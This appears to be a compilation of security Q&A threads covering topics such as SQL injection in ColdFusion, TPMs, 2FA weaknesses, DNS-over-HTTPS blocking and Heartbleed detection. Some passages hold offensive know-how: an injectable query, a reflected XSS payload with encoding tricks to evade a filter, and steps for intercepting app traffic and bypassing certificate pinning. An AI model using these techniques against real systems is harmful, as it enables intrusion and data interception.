Any known issues with ColdFusion 9 isNumeric check? I'm probably just being paranoid again about security. The latest thing keeping me up at night is the checks that one of our websites uses. It runs ColdFusion 9 on windows environment and we check a user input by isNumeric to verify that a string or input it is indeed a number. If it isn't a number stop execution and show message to user, else do what needs to be done normally. My question is, is there a way to break this check? Basically some kind of format that isNumeric will report as a number but can actually include something bad?

<cfparam name="userInput" default="0">
<cfif isNumeric(userInput)>
    // Should be a number id 500
    // Use value to do SQL stuff because should be number
    // I know, not the best practice. Plan to fix all of these but the
    // amount of code is staggering to fix all of these. Figured
    // start with one thing then move on
    <cfquery>
       SELECT * FROM db WHERE serial = #userInput#
    </cfquery>
<cfelse>
    // Not a number ie '500sws'
</cfif>

Is there something that can be passed into userInput that can fool it to report true but actually not be?

Reason why I'm asking is cause this site is old. Things are out dated. I'm in process of working my way through a really large amount of code and there are points of vulnerability that I will be fixing as I go but if isNumeric can be fooled, then I have more work to do.

Not sure if I'm explaining it right. Let me know if there needs to be clarification.

If this need to be moved else where let me know. My last security question I asked ended up here so I decided best to try here first. Thanks every one.

Im not able to test it for CF9, because this Version is too old and not easy available anymore.
To be 100% sure you should force the convert to a number before using it.
For example (untested).

<cfquery>
   SELECT * FROM db WHERE serial = #Val(userInput)#
</cfquery>


Is it secure to use ChangeHats for Web Application? I was reading an article on "Profiling Your Web Applications Using ChangeHat" where change hats mean to use different security context for different portion of application. Following are lines taken from above mentioned articles that are confusing me.

  "Note that the security of hats is considerably weaker than that of full profiles. That is to say, if attackers can find just the right kind of bug in a program, they may be able to escape from a hat into the containing profile. This is because the security of hats is determined by a secret key handled by the containing process, and the code running in the hat must not have access to the key."

Is it a security risk to use ChangeHat?
What is the context of security hats with the security key?

From the linked article I'd say that the answer to your first question needs to be considered in relative terms.

Relative to not using AppArmor at all no it doesn't as at least you have some better isolation than would be allowed by default and from what they're saying, if an attacker can bypass the ChangeHat protection they just get as far as being constrained by the containing profile.

Relative to using individual profiles for each piece of code the security is weaker, but I don't think that would always be a practical proposition.

Again from reading the doc. it seems to me that they key is essentially the mechanism by which a piece of code claims the level of rights for that hat.

So if an application has 3 hats defined the problem is that if there's a bug in a piece that uses hat1 the exploited code may be able to read the keys for hat2 and hat3 thereby negating the protection that they provide.


Are there any products/techniques for low-effort DSL sniffing? Inspired by the "can my neighbour listen to my phonecalls" question, I'd like to ask what would be required for an attacker to snoop on an ADSL connection given physical access to the wire (so, "linesman's handset" or "Beige box" style).

Obviously, someone skilled could open up Matlab and have it done in a day or two by writing their own decoder to operate from some high-speed ADC, but is there anything straightforward that a low-effort attacker could use? I'm thinking the sort of attacker that is familiar with using (say) Kali to break wireless ethernet. How difficult is it for them to get from "wires exposed" to "ppp/etc frames"? Is it attainable with particular hardware? RTL-SDR dongles don't seem to cover the lower frequencies that DSL uses, am I correct?

I'd be interested in techniques which apply to any geographic locality.

Induction taps for the wires directly connected to a Linux-based router with a similar DSL interface and tshark (Wireshark) installed.

Note: Several companies make commercial protocol analyzers (hardware) which also do this (easy but not as cheap).


SOAP Web Service: Basic Auth. vs Password in xml I am testing a SOAP web service and the service sends username and password in every request as part of the XML body over SSL. I wanted to object to that and offer Basic Auth. but could not find any logical reason. It feels wrong but I dont know why. Is there any difference between sending credentials with every request to a web service in xml body vs sending them in HTTP header? Note: Using session keys or API keys is not an option for this service.

HTTP Basic Authentication transmits the password in plain text - that is, the text of the password is encoded with Base64 but not hashed or encrypted in any way.

As such, most attack vectors which would successfully retrieve the password from the body would also be able to retrieve it from the HTTP header. Both will be equally protected by TLS, which will encrypt both the headers and body of the request.

However, it is possible that incorrectly configured logging or proxying might leak one part of the request without the other. For instance, a system might log the request and response bodies for debugging purposes; however, it might also log the headers, so both would be equally vulnerable. Indeed, there might be code to mask sensitive data in the request body, which fails to do so when logging headers.

In short, I would suggest that both are equally secure / insecure, and only a more complex authentication scheme (e.g. hashing a nonce and timestamp with a shared secret) would improve matters.


How do e-mail relays detect who clicked "Report Junk" or "Report as Spam" on an e-mail? How does an e-mail relay service (like Campaign Monitor) discover which of my recipients clicked "Report Junk" or "Spam" on a campaign e-mail (as they surface this in a dashboard back in the client)? Are e-mail providers providing endpoints to companies such as Campaign Monitor in order for them receive such information?

Yes, email providers offer a way to acquire such information. It's called a feedback loop. The exact implementation depends on a particular email service with some of them using a standard Abuse Reporting Format reports and some having their own solutions.

It's unclear which providers send the user's email address to the campaign originator, as Wikipedia notes:

  The majority of ESP offering Feedback Loop do not include in the report the email address of the recipient, who marked the message.

More info on feedback loops with details of particular implementations is available at www.emailfeedbackloops.com.

Campaign Monitor is clear about them using the feature:

  Through a direct feedback loop (FBL) with major ISPs, like AOL, Yahoo! and Hotmail, our system can automatically detect if a significant number of your recipients flag your emails as spam.

An important note from the article is that in case of several email providers, clicking the "Spam" button triggers an automatic unsubscribe action which identifies an individual user. At the same time Gmail does not perform this action automatically.

In case of Gmail the data is statistical and doesn't identify individual users and their actions, so at least Google's feedback doesn't allow to tell "which of [the] recipients clicked [Spam]".


Is it possible that the same VISA debit card numbers could be issued to different people by different banks? I'm wondering if is it possible that the same VISA debit card numbers could ever be issued to different people by different banks or companies?

[edited]

whilst a card issuer may choose to reuse PAN (long number) to identity a card, a  PAN cannot normally be reissued by a different card issuer. The reason for this is because the BIN (first 6 digits) is issued uniquely to a card issuer.

There is one exception:  If card issuer is bought by another card issuer (e.g. bank 1 buys bank 2) then card number may be reissued under the new name of the card issuing organisation - but really this is an edge condition and in the spirit of the question the answer is largely no

Note:  In the UK, Clydesdale reissued mastercard PANs, but eventually stopped after obvious problems occurred.  see: http://www.theguardian.com/money/2003/may/10/creditcards.debt1


Worst case scenario of having the ability to remotely write files to disk as admin I'm working on creating a program ("My Program") that will communicate with another program ("Their Program") via XML commands over a raw TCP/IP connection. Their program allows files to be written to the disk remotely with administrator privileges. This interface is enabled by default (MAJOR security flaw, I know), and I'm trying to give the other company a worst-case situation of what could happen if a hacker were made aware of this vulnerability and exploited it on a corporate-intranet-connected computer.

How localized is the security threat?
Can the attacker compromise network/server security using only this exploit (possibly to exploit other vulns.)? The user is a local admin but a standard network user.
What other possible threats might be exploitable because of this "feature" that I perhaps have overlooked?
What would be the best way to protect against this, while still keeping the functionality required? Is there a way to artificially sandbox the program, or check if the files written to disk are not in a sensitive place?

Ok, this is a pretty nasty flaw. If directory traversal is possible, the attacker might overwrite often-used executables in order to infect the box with malware. From there, the rest of the network could get infected through a whole range of different mechanisms: USB spreading, remote code execution vulnerabilities, spear phishing, etc.

Worse, they could use the malware infection to steal any credentials stored on the machine (if it's Windows, there are encrypted Active Directory caches in memory) and log into other systems.

If you're running any public-facing servers that offer up files (e.g. HTTP, FTP, SharePoint, etc) the attacker could overwrite those files with false information, or malware.

At minimum you're looking at a DoS vulnerability, where the attacker fills up your system with large files until the disk is full.


Can WhatsApp see whom I'm messaging? I realize WhatsApp has end-to-end encryption.

But, can WhatsApp see certain metadata, such as the following?

With whom I send & receive messages
How many messages I send & receive
When I send & receive messages

AFAIK, WhatsApp is closed source. And the data passes through their servers. And they have control on the keys used for encryption (because it is closed source). So on a security point of view, you should assume that they can read the content of the messages.

Whether they do it or no is a different question, but if privacy is important, you should not rely on WhatsApp.

Now to answer your precise questions:

  can WhatsApp see with whom I send & receive messages

Of course they can. How could the know where to forward the messages?

  can WhatsApp see how many messages I send & receive

Of course they can. I assume they have technical logs that should contain sender and recipient for each message. Such logs are required for the administration of a platform

  can WhatsApp see when I send & receive messages

Of course they can, for the very same reason as for your first question


Can my raw html website get hacked? I know that if you are using software for your website like wordpress, ip-board etc. there can be like in every software vulnerabilities.

But what if you just have an apache server and a simple index.html with really simple html code.
Can there be vulnerabilities?
I ask because I've seen a site that looked really, really simple, that was hacked and some other stuff was put on like "Hacked by.....".

Simple static HTML protects you for things such as sql injections and many common forms of hacking but it does not protect you from flaws in Apache or bad rights assignment to the Apache service user.  This is where rights escalation comes in if you can break Apache server itself.  That being said Apache is very mature so a current stable version will probably be pretty secure as long as you follow best practices with setting it up.

The other side to look for is the OS and making sure that is hardened as well, in other words static pages does not relieve you from due diligence with hardening the OS and application.  In the end Apache is just an application, just like Wordpress or any of these other Web based services, so you have to be aware.

Hope that helps


What does a TPM have in common with smart cards? The title really says it all. I'm starting to dig a little bit into computer security and from what I've watched or from what I have read in books or articles there's always a mention of basic smart cards (e.g. Chapter 3, “Scenarios for Using TPM 1.2” from “A Practical Guide to TPM 2.0”).
I understand TPM is a chip with a given standardised specification. Vendors use these standards to create HW/SW combo to provide the security aspects the specification comes with. But smart cards were a thing long before that, weren't they? Are they something TPMs are based from? Is there a mere similarity between how those two things operate? Are they just a mean of interacting with a computer with a TPM? I think I cannot see them in the basic scenario/use case I can only imagine TPMs are used in (in personal computers).
I'm sorry if I am not making any sense, I would also welcome a source on to how understand TPMs better - from scratch, what it really is, and actually understandable. I have a degree in CS but cannot wrap my head about this yet (book titled “A Practical Guide to TPM 2.0” did not convince me). Thanks!

Both smart cards and TPM are computing environments that can store cryptographic keys and perform cryptographic operations, and performing cryptographic operations involving keys that they store is their primary purpose.
If your operating system supports TPM, it will offer to store keys and passwords inside the TPM and to perform operations on those keys. The interface to do this is often considered a smart card interface because smart cards were the first commonplace type of device that could do this and there isn't a commonly accepted generic term for “computing environment with its own key storage that can perform operations involving these keys”. But see What are the differences between HSM and SE? about terminology.
The advantage of having the smart card or the TPM perform these cryptographic operation is that the keys are better protected than if they were stored on the PC. The isolation between the TPM/smartcard and the main CPU makes it harder for a software vulnerability to expose the keys, and depending on the degree of physical isolation of the TPM, it may be resistant against physical attacks as well (for smart cards, resistance against physical attacks is part of the definition).
The first TPM were physically separate chips soldered on the motherboard of a PC, next to the main processor and other chips. TPM chips often have a design that is similar to a smart card chip. Today a TPM may still be a separate chip, or may be a separate processor inside the same physical chip as the main CPU, or a logical environment inside the main chip, roughly in decreasing order of both security and cost. A TPM can also be a piece of software running in a hypervisor, serving as a TPM for a virtual machine.
A smart card is a removable device: you plug it into a computer (or pass it near a computer if it's contactless), and that computer can make requests to it. A TPM is attached to the motherboard of a PC (the virtual motherboard for a virtual PC environment in a virtual machine). Because the TPM is permanently attached to the computer, it can do things beyond storing keys for the user.
In particular, the TPM can read the computer's memory and the processor state. This is called “measuring” in TPM literature, and the output of the measurement is basically a cryptographic hash of the content of the relevant memory. It can produce an attestation of that state, which is a signature of the state made with a key that is only available inside the TPM. The computer where the TPM is running can send this attestation to a server to prove that it is running in a particular software configuration. This is used on secure networks to ensure that only authorized computers running authorized software can connect to the network. The TPM can also store a description of the expected states (the expected hash values) and authorize certain functions only if the computer is in an expected state, for example to disclose the hard disk encryption key only if the boot code is the pre-programmed boot code and not if the boot code has been modified.


Best way to securely store passwords for local use? I am writing a Java application who needs three username/password pairs. I would like to add a "remember me" feature, implying I would have to store passwords on the user's computer.

Knowing this application will be used everyday by some co-workers on their own machines, I considered storing the passwords on a local encrypted file and ask for a master password who would permit to use the 3 encrypted passwords.

However, I know that password-based encryption cannot be secured if the user chooses a poor password. What could be my alternatives?

Aside from enforcing a password policy you could store an encryption/decryption key in the TPM. There's a library available here created by MIT.  It was developed as part of the research project on Trusted Computing.

This would ofcourse not cover unauthorized access to the physical machine or if full disk encryption isn't being used.


Where can 2-factor fail in Google? I was one of the people who thought that enabling 2-factor in Apple would have prevented the download of images from iCloud; it was recently pointed out to me that, in fact, I was gravely mistaken. Apple's 2-factor only works in a subset of their services and therefore their 2-factor lends a false sense of security (at this point; they may extend the services their 2-factor protects at some point.)

I had thought the implementation was similar to Google's 2-factor. Are there ways that Google's 2-factor implementation is similarly bypassed, where there are services or circumstances I would not be alerted if my account were accessed by a machine or device not in my control?

Here's some scenarios where Google's 2FA implementation might be compromised:

App specific passwords do not require 2FA even if 2FA is enabled on the account. Therefore a malicious App which has been provided an App specific password can perform actions without your knowledge.
On Android the Authenticator App does not contain an internal QR code reader, instead it creates an implicit Intent and allows any App with an appropriate Intent filter to receive the intent. This App could be malicious or act as a MITM to a legitimate QR code reader.
2FA is not entirely immune to phishing. If an attacker can convince you to enter both your password and a valid 2FA pin then they can potentially log in then create an App specific password to use as a back door.
There is an option to receive 2FA codes via phone call. The phone call can potentially go to voicemail which is notoriously insecure.
An attacker can also use SMS and it's relatively sneaky to slip permissions to access SMS past users on Android in particular.


How might the BBC snoop on wi-fi usage? It's just been reported that the BBC plan to deploy wi-fi detection vans to identify users who are streaming content from their internet service (BBC iPlayer) without a TV license. For example, see The Telegraph.

How might they achieve this? What signatures could possibly be detected if the wi-fi is encrypted?

There's a number of possible aspects at play here.  First up as @gegenbeispiel says it could just be a bluff, however lets consider the possibilities if it's not.

Unencrypted wireless. Obvioulsy if people have unenecrypted wireless it would be technically possible to sniff traffic going over the network and determine whether iPlayer URLs were accessed and then correlate that with the License fee database.  You still have the problem of narrowing down the signal to a specific property (which could be quite difficult in things like flats, but it's technically possible)
Encrypted wireless. Here you can't get any details on the content being transmitted but in theory you could get some details about the volume of traffic being sent/received.  Now in a lab style setup where there were no other wireless signals, if someone was watching a live broadcast, you might be able to say "that wireless network transmitted roughly the same amount of data as that stream is sending" and indeed that seems to be what they're describing. Where you own the server end of a connection you could modify the volume of data sent in a pattern that might be observable in a controlled environment.
Wired network.  Outside a property there's basically no chance of detection using vans or the like.

So technically there are some possiblities with the wireless scenarios.  So what are the problems here?

Legal.  This is generalized traffic sniffing and would inevitably (in the unencrypted scenario) gather data not related to iPlayer.  This leads to potential privacy/legal issues as faced by Google with their street view data gathering.
Technical.  The number of unencrypted wireless networks is much much lower than it was in the earlier days of home broadband.  All the major ISPs that ship Wireless routers make used of WPA2 encrpytion by default, so in most cases you're looking at the encrypted wireless scenario.
The problem with what they're describing in the article is that to me it seems likely that even if it works in a lab environment, in a real-world scenario with the huge mess of connecting devices, connections from each device and the vagaries of Internet traffic, isolating the patterns being sent in a reliable way that would stand up in court seems unlikely.

Overall it seems most likely that this is a bluff (or someone has managed to sell some snake oil inside the BBC and is going to make some good cash desiging the solution), however we'll only really know if more details emerge, most likely when someone refuses to pay the BBC after being told they're infringing and taking the matter to court.


Windows 8 in a VDI environment and the use of Secure Boot I have a question, How would secure boot be implemented in a virtulized environment, say XEN hypervisor with multiple guest OS's including Windows 8 guest VM? does the guest VM need access to the hardware validation as well?

A virtualised environment could would be easier to handle in this case.

Firstly, in order to load any operating system, you need to emulate boot. So a VM implementation such as Intel VT only implements CPU emulation; the rest is up to the vm software. Everything must either be emulated or passed through with hardware support.

Boot is no exception - and as most VM solutions currently emulate MBR-based BIOSes there is no reason for them not to be able to emulate EFI boot either. The EFI spec is publicly available and GPT-partitioned disks such as are required to EFI boot with Windows have been creatable for a while now.

Now the question is - how does secure boot work? Well, without diving too deep into the specification, the concept is that the binaries you wish to boot are signed with a private key and the corresponding public key is shipped with the hardware. I'm not yet sure to what extent a full x509/PKCS trust chain is in place, but I believe that's the aim.

Given an executable the hardware is asked to boot, secure boot means very simply that it will check the signature(s) on that executable and if they match its internally trusted certificates and the signatures remain valid, great, they can boot. If not, the EFI shell simply tells the user "sorry mate, can't boot that, don't like it" and bam, out you go.

So from the point of view of guest operating systems, life is easy getting things to boot - just allow it and don't check the signatures.

Things get more complicated when it comes to the OSes ability to establish a channel* to the hardware, however - I believe (I've not read that bit of the spec thoroughly, but I have read the GPT layout part. I can quote GPT layouts to you in my sleep!) operating systems will communicate with the EFI shell should they wish to notify it of changes to their environment, replace keys etc. This would need to be emulated correctly; a failure to do so would undoubtedly break the host OS assuming it requires and expects the protocol to exist.

If Windows 8 is going to insist upon secure boot and the ability to interact with the hardware, that'll all require correct emulation. However, OSes that merely require getting started it'll make no difference to.


Need help on clarifying some pentesting concepts Below are some conclusions I came up reading ebooks, blogs and tutorials about pentesting. I would like you to correct those conclusions if they are (all or partly) wrong.

A vulnerability is any chunk of code of an application/service/OS which gives us the ability to INPUT something other than the input it is meant to accept.
An exploit is the code we send to this INPUT in order to make payload injection possible.
Payload is the code that is injected (how?) to the loaded instructions of the vulnerable software/service, and when this software runs it also runs our payload. This payload enables us to establish shell sessions etc.
If the target system doesn't have any open ports, or have open ports bound to a software/service that is NOT vulnerable or exploitable, then the only way to deliver a payload is through social engineering.

And a question:

If I convert a meterpreter payload into an executable and run it manually on the target system, will I have the same results as if I injected it remotely through an exploited software/service on this system?

What is a vulnerability?

A vulnerability is more than that. It is any state of the software that allows an attacker to do or know something they are not supposed to be able to do or know.

For example, if your website only uses HTTP, that is a vulnerability, because anyone with Man-in-the-Middle capabilities can read and modify the data on your site.

What is an exploit?

An exploit is a way to abuse a vulnerability. It can be code that sends data to your server, or it can be a specially crafted HTTP request, or a maliciously crafted e-Mail.

The term "exploit" generally refers to "the thing that abuses a vulnerability".

What is a payload?

A payload something that can be executed when using an exploit. For example, imagine a vulnerability allows me to execute any code when you open an e-Mail attachment. That piece of code that I execute then is the payload.

For demonstration purposes, some payloads just start calc.exe on Windows. This demonstrates that "any" code can be run. Of course, malicious payloads do much worse, such as adding backdoors, stealing or encrypting your data, etc...

Simply put, the payload is "the thing you want to get from A to B".

How do Vulnerabilities, Exploits and Payloads relate to each other?

Think of a vulnerability as a weak spot in a wall. The Exploit is a rocket going right through that weakspot. The payload is the explosive core of that rocket, designed to explode after the wall was penetrated and destroying everything behind the wall.

How can payloads be delivered?

Your question adds a very specific set of constraints. Specifically, software that has "no vulnerabilities". It is very very difficult, borderline impossible even, to make useful software that has no vulnerabilities. Even the seL4 Microkernel, which was formally verified, has some notable exceptions on their claim of provable security.

Simply put, no software is free from vulns. This is the reason any program bugs you at least once per month to do an update for "various security improvements".

However, assuming that your publicly exposed software was indeed 100% vulnerability free, you still can't know about anything it communicates with. The load balancer may have vulnerabilities, the sysadmin may have been victim of a phishing campaign, the USB keyboard may have been compromised, etc.

Social Engineering are one way of getting a payload on a target system, but with a bit of creativity, there are many more.

Will a Meterpreter executable have the same effect if run by hand as if done through an exploit`

Possibly. It depends on the exploit at hand. For example, if you used ETERNALBLUE, your payload would run as NT-SYSTEM/SYSTEM, which are the highest privileges available on a Windows system. Whereas if you ran the exploit as a limited user, it would run with your privileges, and thus your limitations.


I forgot my encryption password on my Z667T after several attempts, the phone reset itself Motorola Z667T
The phone reset itself after several attempts to enter my encryption password that i forgot.
is there anything i can do to recover the text messages and contacts ?

Contacts were likely backed up to an online service (Google, possibly others) and should still be available through that service. Just add your account on that service to the phone again, and tell it to sync contacts. If they were stored on the SIM card (does anybody do that anymore?) you could recover them from there, too.
SMS / MMS might (no promises!) also have been backed up to some service. For example, if you use Google Voice, I believe it backs them up. Some messaging apps will also provide backups, either to an account associated with the app or to Google Drive / Dropbox / whatever.
Anything that wasn't getting synced / backed up is gone forever, though. The encryption key is randomly generated when device encryption is enabled, and it is never stored in plain text anywhere readable (it might be stored in encrypted form, where the key-encrypting-key is derived from your passcode, or it might be stored in a hardware security module, or both). When the phone detected what it thought was an attempt to brute-force the passcode, it will have deleted that encryption key. In theory, sufficiently-advanced data-recovery tools might (depending on where it was stored and how it was erased) be able to recover the encrypted key, but the automatic wipe should be secure against any practical recovery.


Use additional "password" in Referer to hide private site? I have a private (= I'm the only user) site at example.com/private/. Nothing else is published at this host (it's my domain).

I don't want anyone to know that there is anything at example.com, especially not my private site.

Now let's say Alice "guesses" the URL and visits example.com/private/. Of course I have protected the site by requiring a login, but still, I don't want Alice to know that there is such a site at all, and I don't want her to try out the login etc.

I wonder if the following method could help me here:

With the Firefox add-on RefControl I can set a custom Referer header to use only for requests to a certain host.

I set the Referer to (e.g.) 9b2389Bqa0-ub712/bauUU-UZsi12jkna10712 for any request to example.com.

Now I check with .htaccess (don't know how it is possible exactly, but I heard it should be see the question on Code Review SE) for the visitor's Referer:

if it is 9b2389Bqa0-ub712/bauUU-UZsi12jkna10712, do nothing special (= access to the site is possible)
if it is something else, send HTTP error 404

I guess instead of 404 a fake site could be shown, but for my case I want no one to see a difference between /private (which exists) and /foobar (which doesn't exist → 404).

Would this work? Is it possible with .htaccess? Has this method any flaws? Anything I should change? Any similar methods?

Updates & clarifications

The whole host uses HTTPS.
I don't need to hide the fact that there is a server, I just want to hide that there is content served.
Thanks @Adnan for bringing the term "plausible deniability" into play → I want this (client-side)!
Some proposed using a hard to guess URL (e.g. the secret string appended to the URL): While this might certainly work, I think using the Referer method has the advantage that you can't accidentally reveal the secret (easily). URLs are more visible than HTTP headers: someone looking at your screen, published bookmark list by accident (not remembering that the secret URL is included), browser history, screenshotting your desktop with browser address bar in background, …. And so you have the initial problem again: how to hide that there is a site when Alice "guesses" (or whatever) the URL.
Some proposed using an external (even better, local) login page. I like that idea. In comparison to the Referer method (if it can be implemented by .htaccess, which I assume is possible) it has the disadvantage that you'd maybe need to adapt the site's code/CMS.
For discussion about the .htaccess, see the question on Code Review SE
As @НЛО points out, a custom header would be better. Yes, I think so, too. But I didn’t find a Firefox add-on for that yet (see question on Super User).

I personally think you're doing alright. As long as your underlying login method is secure, add as many obscurity layers as you want.

I have worked with some clients that wanted the exact thing you're trying to achieve. I've always used one of these two methods:

Cross-Site login form: A local .html file that has a login form submitting to the example.com/private/login.php. The login form had a hidden field with some randomly generated token.

Of course anyone could've distributed the same .html file, but that wasn't important, because our main security method was the login process itself; the username and the password.

Any request to example.com/private was rejected and a 404 was shown to the visitor. But when a POST request with the correct credentials was received, a session is started the website worked normally.

The upside of this method is that it grants you plausible deniability. If someone gets hold of the .html file they can try to login and they'd still get 404. There's no proof that this file is related to an actual working website.

Extra password in the URL: Pretty much the same as your method, but the extra authentication token was in the URL. Any request to example.com/private was rejected and a 404 is shown to the visitor. But when a proper example.com/private/login.php?token=Zz37vQQCnLTpe527xeFfFEG9 is received the login form is viewed.

Most clients liked this method as they were able to bookmark that URL. However, the downside of this method is that it does NOT grant you plausible deniability. Anyone with the URL can prove that there's a working login form on that website.

To be honest, I like your method and I think I might use it someday.

IMPORTANT: All of the above applies only after you make sure that your login method is secure.


Can I intercept DNS-over-HTTPS (DoH) or -TLS (DoT) in my home network? Right now I am redirecting all local network DNS traffic to my Pi-hole install, since some device do or may in the future use hardcoded DNS servers to bypass filtering.

Since DNS-over-HTTPS and DNS-over-TLS are becoming more common, I would like to know if it is possible to intercept that kind of traffic to redirect it to my Pi-hole install for filtering purposes.

If that is not possible (as I would expect), I wonder whether it's possible to at least drop said connections so that said devices will obtain errors and hopefully fall back to the DHCP-advertised (local) DNS server.

Redirecting the requests to your Pi-hole so that they gets answered there is not possible since your Pi-hole DNS server does not have the expected certificate.

Blocking DNS over TLS can be done by blocking outgoing port 853. How this blocking can be achieved in your specific but unknown network is unknown but usually a perimeter firewall can do it.

Blocking DNS over HTTPS is much harder since it uses the same port as normal HTTPS traffic (443). If you know the target IP then you could block this, otherwise you might try to detect such traffic due to specific communication pattern.

  ... since some device do or may in the future use hardcoded DNS servers to bypass filtering.

If they do this they might also use something else than DNS to get there information or use DNS tunneled inside other protocols or on non-standard ports. You cannot reliably filter something here which explicitly tries to bypass any filtering.


Heartbleed detection It is fairly easy to detect the heartbleed exploit if it all happens over cleartext, which it seems most things are doing for the time being.  However, I believe that there are some heartbleed exploits occurring after encryption because the RFC allows (and suggests) that heartbeat requests be sent encrypted.

From RFC 6520:

  A HeartbeatRequest message can arrive almost at any time during the
  lifetime of a connection.  Whenever a HeartbeatRequest message is
  received, it SHOULD be answered with a corresponding
  HeartbeatResponse message.

  However, a HeartbeatRequest message SHOULD NOT be sent during
  handshakes.  If a handshake is initiated while a HeartbeatRequest is
  still in flight, the sending peer MUST stop the DTLS retransmission
  timer for it.  The receiving peer SHOULD discard the message
  silently, if it arrives during the handshake.  In case of DTLS,
  HeartbeatRequest messages from older epochs SHOULD be discarded.

As it states above, a HeartbeatRequest SHOULD NOT be sent during handshakes.  It is my assumption that many exploits today are being sent during the handshake in order to be more efficient.

If so, what does a HeartbeatRequest during the handshake look like in comparison to a HeartbeatRequest after it is encrypted, and how can we monitor for and detect post-encryption Heartbleed exploits on the network (not on the endpoint)?

To be exact, the RFC recommends legit heartbeats be done after handshake completes; it doesn't recommend exploits ever. (Compliant with http://tools.ietf.org/html/rfc3514 which sadly never made it to BCP.)

Yes, Heartbeat is a distinct record type (24 or 0x18). Any response longer than the request by more than reasonable padding is proof of exploit. Any request or response longer than 2^14 plus epsilon is also bad, and I'd say anything more than about 50 in TLS is suspect because that would only be useful for PMTU and PMTU here is useful only, if at all, for DTLS not TLS. You don't need the plaintext.


Can a web server be secured with just a firewall? I'm about to go online with my first web site, it is a small project hosted on a regular home PC running Windows 7. I want to keep the software footprint at minimum, so it only contains the operating system and the web server with the website files, no antivirus, no SQL, no nothing. And except for the network cable it is completely isolated from the outside world, no cd/dvd, no keybord, no mouse, no monitor. The Windows firewall is setup to only allow incoming traffic on port 80, all outgoing traffic is blocked.

I am not a network security expert, so please correct me if I'm wrong: I think with this setup, the only possible way to have access the files and folders on that computer is through the web server via port 80, which means: if the web server allows no unauthorized access I can then trust my files will remain private. If I'm wrong, please explain why and how to solve it, again with a minimal software footprint.

Right now my main concern is privacy, so I may ignore advice on other security issues.

EDIT:

I know my web server software will be the target of most attacks, but it is not the main gate which worries me, I know in advance all sorts of people will try to pass through it, so I can be prepared and setup a whole army of police officers right there, what worries me are the possible back doors that may exist without me knowing... so my question is in the sense of how to make the OS fully and completely isolated from the outside world, in such a way that the only possible access point is through my web server listening port 80.

It isn't a game of magic ports used by hackers.  If there isn't a service running on the port, it's unlikely in the extreme to result in a compromise, but it's nonetheless a good idea to use a strong firewall, especially on windows where lots and lots of services are running by default.

That said, if someone is going to compromise your web server, they will do so using the software you are letting them access (both your http daemon and any CGI applications you're using).  So, the answer is no.

You haven't given a lot of detail about what this project is, but if it's a CGI application of some kind, the most important thing you can do is code it carefully to avoid vulnerabilities.  If someone can inject shellcode into it and pop a shell, they can usually access things you didn't intend.

Webserver misconfiguration can also be a problem, if you allow things like directory traversal and indexes; these can be used by attackers to "trick" the web server into serving up things you didn't plan on.

If you allow users to upload files, be careful as well; they might upload scripts you'll accidentally run, or upload malware which you'd then be serving.

Sometimes functionality you intend on can be abused too; forced browsing (as with wordpress trackbacks) and email sending can both be abused by attackers to hide their activities behind you.

Some things you can do are:

Use a separate user for your web application.  In IIS, set the application pool user in the CGI settings, and the user used for anonymous authentication in the authentication settings.  Make a specific user for this and limit their privileges to the minimum necessary.
Try to think of all the things that can be done with any application you implement and make available, rather than just the things you intended it to do.


PHP - Serializing user inputs My entropy gathering system works by serializing user inputs:

$entropy=sha1(microtime().$pepper.$_SERVER['REMOTE_ADDR'].$_SERVER['REMOTE_PORT'].
$_SERVER['HTTP_USER_AGENT'].serialize($_POST).serialize($_GET).serialize($_COOKIE));

only serialization is done. no unserialization is performed.

someone had said:

  your serializing user inputs your database is free lunch.

is that true?

are there any security problems with serializing user inputs?

There are a lot of things wrong here, but to answer your question; no, there is no problem with calling serialize();  on user-submitted data. The only problem is what you then do with the output.

Your entropy gathering essentially boils down to: microtime() which will give you about 12 bits of entropy given typical TCP latency noise to a remote server, which is not a lot...

If you use $entropy to seed an encryption key, that key will be known to whoever submitted the HTTP request. This might not be a problem in your system, but it is something you should be aware of.

In short; if I submit a request to the page above, I will be able to predict the value of $entropy down to about 1 in 4000.

You are much better off reading a few bytes from an entropy generating stream such as /dev/urandom on unix systems, or the crypto-api on Windows systems.


Unable to intercept android app traffic neither in Burp Suite nor in Network Profiler. Can anyone help? I need to perform MITM attack on an app which doesn't use HttpURLConnection and OkHttp libraries for network connection.

Analysis :

Configured burp on the devices, able to capture request of Chrome browser but not the test app.
Wireshark is showing communication of test app is happening on TLS 1.2 only.
Tried Network profiler of android studio but nothing shown.

What we should do if the network connection is done with curl which I am not very familiar with?

If Wireshark reports that the device is making DNS requests, set up a MitM DNS server (or just modify the WiFi settings on the device to point to a custom DNS server) that points the target domain(s) to your Burp host. Alternatively, if you can, edit the HOSTS file on the device to bypass DNS and treat your IP as the target domain.

If the requests are being sent to a specific IP address without performing a DNS lookup (unlikely, but not impossible), you will instead need to convince the device that your computer with Burp has the IP address it's looking for, or simply route all traffic through your computer (which I'm guessing you're already doing, if you can see the device requests in Wireshark) and configure it to route traffic intended for the target IP to the local machine instead (on Linux this can be done with iptables, I believe).

Next, configure Burp to listed on port 443 (or whatever other port(s) the TLS traffic is sent to) in "Invisible" proxy mode. In this mode, Burp simply acts as a web server and uses the SNI to generate a suitable TLS certificate and to forward the request to the host (if you choose to do that).

However, note that this will not work if the app is both validating TLS certificates (which it should be, but a surprising number of apps - especially those that avoid the standard libraries - fail to do this or do it incorrectly, such as only checking the subject name and not the chain of trust) and using its own certificate store for the list of allowed CAs (instead of the operating system's cert store), or if the app is using certificate pinning. In either of those cases, you will need to modify the app itself. If you don't have the APK, you'll need a rooted device to do this; go to the app's install location and look for anything that looks like a certificate store, key store, or certificate file, and add / replace it with your Burp certificate. The app should then trust Burp and allow you to proxy the traffic. (It is possible that the app is using cert/key pinning and the pin is hardcoded; in that case you would need to extract and decompile the app binaries to replace the key or simply skip the TLS check, and at that point it might be easier to just analyze the decompiled app).


Reflected XSS quote not encoded I am attempting to exploit URL with a reflected XSS as follows:

http://domain.com/vuln_parm=

The contents of vuln_parm gets returned to the user as follows:

This works from within Burp:

http://domain.com/vuln_parm="style="background-image:url(someurl)"

as it gets sent back to the user as:

The problem is the server doesn't decode the quotes.  With Firefox if I send the string, Firefox automatically encodes the quotes as %22.  The server just reflects the %22 back.  If I use IE (which doesn't encode quotes), the server reflects the quotes as ".  However, IE correctly detects this as XSS and displays the IE has modified this page to help prevent XSS.

Any ideas?

I can't tell you what will work because I don't have the application in order to test it myself. I can only suggest things you should try in your response.

Try:

HTML encoding " in the URL.
Double URL encoding " in the URL (%25%32%32).
Double URL encoding " in the URL (%2522).
